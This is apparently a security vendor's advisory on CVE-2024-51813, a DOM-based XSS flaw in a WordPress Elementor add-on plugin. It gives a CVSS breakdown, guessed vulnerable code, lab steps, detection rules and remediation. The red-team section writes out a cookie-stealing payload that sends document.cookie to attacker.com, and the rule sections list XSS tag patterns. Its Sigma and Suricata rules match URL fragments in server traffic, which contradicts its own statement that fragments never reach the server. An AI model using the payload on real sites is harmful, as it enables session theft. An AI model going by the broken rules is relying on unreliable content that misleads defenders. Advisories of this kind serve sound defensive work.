CVE-2024-51813

Executive Summary

CVE-2024-51813 is a DOM-Based Cross-Site Scripting (XSS) vulnerability in the Anant Addons for Elementor WordPress plugin, affecting versions up to and including 1.0.5. The vulnerability stems from improper neutralization of user-supplied input during web page generation, allowing an attacker to inject malicious scripts that execute in the context of the victim's browser. As a WordPress plugin vulnerability, this issue is specific to the WordPress ecosystem and does not involve server-level components like Apache or Nginx. The CVSS score of 6.5 (Medium) reflects the need for user interaction and the potential for limited impact on confidentiality and integrity. No public proof-of-concept (PoC) or patch is currently available, making this a high-priority target for monitoring and mitigation.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin installation by checking the plugin version and monitoring for updates from the vendor. Since no patch is available, consider disabling the plugin or implementing a Web Application Firewall (WAF) rule to block malicious input.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Network (N) – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low (L) – No special conditions are required.
• Privileges Required (PR): None (N) – No authentication needed.
• User Interaction (UI): Required (R) – The victim must click a crafted link or visit a malicious page.
• Scope (S): Changed (C) – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low (L) – Limited data exposure.
• Integrity (I): Low (L) – Limited ability to modify content.
• Availability (A): None (N) – No impact on availability.

Threat Level: Medium. Exploitation requires user interaction, but the DOM-based nature allows for stealthy attacks that bypass traditional server-side filters.

Deep Dive & Mechanics

The vulnerability exists in the anant-addons-for-elementor plugin, which extends the Elementor page builder with custom widgets. The plugin fails to sanitize user input before inserting it into the DOM via JavaScript. An attacker can craft a URL with a malicious payload in a query parameter or fragment that, when processed by the plugin's JavaScript, executes in the victim's browser. This is a classic DOM-based XSS, where the attack payload is never sent to the server but is processed entirely client-side.

Root Cause: The plugin uses document.location or similar DOM APIs to read user input and inject it into the page without proper encoding or validation.

Attack Vector: An attacker sends a specially crafted link to a victim (e.g., via email or social engineering). When the victim clicks the link, the malicious script executes in the context of the WordPress site, potentially stealing cookies, session tokens, or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Since no patch is available, we can only infer the vulnerable pattern. The plugin likely uses code similar to:

// Vulnerable code
var userInput = window.location.hash.substring(1);
document.getElementById('some-element').innerHTML = userInput;

A patched version would sanitize the input:

// Patched code
var userInput = window.location.hash.substring(1);
var safeInput = DOMPurify.sanitize(userInput);
document.getElementById('some-element').innerHTML = safeInput;

Or use safer DOM methods:

// Alternative patched code
var userInput = window.location.hash.substring(1);
var textNode = document.createTextNode(userInput);
document.getElementById('some-element').appendChild(textNode);

Exploitation & Lab Setup

Red Team

To simulate exploitation, set up a local WordPress instance with Elementor and the vulnerable plugin (version 1.0.5). Create a page that uses the vulnerable widget. Then craft a URL:

http://victim-site.com/?page_id=123#<img src=x onerror=alert('XSS')>

If the plugin reads the fragment and injects it into the DOM, the alert will fire. For a more realistic attack, use a payload that steals cookies:

http://victim-site.com/?page_id=123#<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>

Blue Team

• Monitor for unusual URL fragments or query parameters containing script tags or event handlers.
• Use browser-based XSS filters (e.g., X-XSS-Protection header, though deprecated).
• Implement Content Security Policy (CSP) headers to restrict script execution.
• Deploy a WAF rule to block requests with suspicious patterns in the URL fragment (e.g., <script, onerror, onload).

Indicators of Compromise (IOCs)

• URL Patterns: URLs containing #<script, #<img, #<svg, or other HTML tags in the fragment.
• Network Traffic: Outbound requests to attacker-controlled domains from the victim's browser (e.g., GET /steal?cookie=...).
• Logs: Server logs showing requests with unusual fragments (though fragments are not sent to the server, client-side logs may capture them).
• File Hashes: Plugin file anant-addons-for-elementor.php (version 1.0.5) – SHA256: UNKNOWN (verify via plugin repository).

Detection Engineering

YARA Rule

rule CVE_2024_51813_DOM_XSS {
    meta:
        description = "Detects potential DOM-based XSS in Anant Addons for Elementor"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-51813"
    strings:
        $vuln_func1 = "window.location.hash" ascii wide nocase
        $vuln_func2 = "document.location.hash" ascii wide nocase
        $vuln_func3 = "innerHTML" ascii wide nocase
        $plugin_id = "anant-addons-for-elementor" ascii wide nocase
    condition:
        all of ($vuln_func*) and $plugin_id
}

Sigma Rule

title: CVE-2024-51813 DOM-Based XSS in Anant Addons for Elementor
id: 8a3f7c2e-5d1b-4a9f-8c6e-2b1d3f4a5c6e
status: experimental
description: Detects potential exploitation of DOM-based XSS in Anant Addons for Elementor plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: web_application
    product: wordpress
detection:
    selection:
        http.url|contains:
            - '#<script'
            - '#<img'
            - '#<svg'
            - '#<iframe'
            - '#onerror'
            - '#onload'
    condition: selection
falsepositives:
    - Legitimate use of hash fragments for navigation
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-51813 DOM-Based XSS in Anant Addons for Elementor"; flow:to_server; content:"anant-addons-for-elementor"; http_uri; pcre:"/#<(script|img|svg|iframe)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate Action: Disable the Anant Addons for Elementor plugin until a patch is released.
2. Workaround: Implement a WAF rule to block requests containing suspicious hash fragments (e.g., <script, onerror).
3. Long-term: Monitor the plugin's official page for updates. When a patched version is released (e.g., 1.0.6), update immediately.
4. User Education: Train users to avoid clicking suspicious links, especially those with unusual URL fragments.
5. CSP Implementation: Add a Content Security Policy header to restrict script execution to trusted sources only.

Valters IT
Securing Digital Frontiers